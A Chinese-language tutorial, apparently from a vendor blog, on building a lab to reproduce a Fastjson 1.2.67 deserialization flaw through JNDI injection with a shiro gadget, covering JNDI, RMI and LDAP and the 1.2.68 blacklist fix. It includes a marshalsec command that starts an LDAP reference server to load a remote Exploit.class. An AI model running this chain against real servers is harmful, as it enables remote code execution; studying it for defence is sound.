您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何分析Fastjson漏洞的環境搭建及漏洞復現,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
Fastjson 是Alibaba的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
JDK 版本:8u112
fastjson: 1.2.67
shiro: 1.5.1
slf4j-nop: 1.7.25
為了快速添加項目所需要的jar包,創建Maven項目如下
pom.xml
之后右鍵pom.xml 點擊下載source和document
該漏洞選擇JDK 8u112
在main文件夾中添加漏洞代碼,核心在于調用了fastjson.JSON的parseObject 函數
Fastjson接口簡單易用,廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化。
FastJson中的 parse 和 parseObject方法都可以用來將JSON字符串反序列化成Java對象,parseObject 本質上也是調用 parse 進行反序列化的。但是 parseObject 會額外的將Java對象轉為 JSONObject對象,即 JSON.toJSON。所以進行反序列化時的細節區別在于,parse 會識別并調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。
fastjson.java
由結果可以看出調用parseObject 函數會調用getattr方法。
調用棧分析
這一步的操作是將obj對應的對象類型轉化為json格式,這勢必要方位getattr 對象方法,從而觸發漏洞。
通過invoke方法,調用getinstance方法
在JndiObjectFactory getinstance 中調用了this.lookup(resourceName)
Java Name Directory Interface,Java命名和目錄接口(JNDI)是一種Java API,類似于一個索引中心,它允許客戶端通過name發現和查找數據和對象。JNDI包括Naming Service和Directory Service,通過名稱來尋找數據和對象的API,也稱為一種綁定。JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。
注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("
rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("
ldap://localhost:9999/refObj");
若lookup函數中的參數攻擊者可控,便可以指向攻擊者的服務器,即可實現JNDI注入實現任意代碼執行。
RMI(Remote Method Invocation,遠程方法調用)。遠程方法調用是分布式編程中的一個基本思想,實現遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)。RMI則是專門為JAVA設計,依賴JRMP通訊協議。
LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫,用來保存描述性的、基于屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強,但“寫”性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數據。LDAP目錄和RMI注冊表的區別在于是前者是目錄服務,并允許分配存儲對象的屬性。
該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務,獲取并執行自己編譯的Exploit.class文件。
使用marshalsec啟動一個ladp服務器 ,下載地址為
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
將編譯好的Exploit.class 放在web目錄下并開啟服務
這個鏈接梳理了fastjson hash對應的jar,可以方便的尋找已經被過濾的jar包
https://github.com/LeadroyaL/fastjson-blacklist
該漏洞采用黑名單的方式進行修補,在1.2.68中把org.apache.shiro.jndi 給ban掉了
對應的具體代碼如下圖所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函數中有對應處理
黑名單hash生成算法,大概思路是將每一位都異或進行異或疊加。
看完上述內容,你們對如何分析Fastjson漏洞的環境搭建及漏洞復現有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。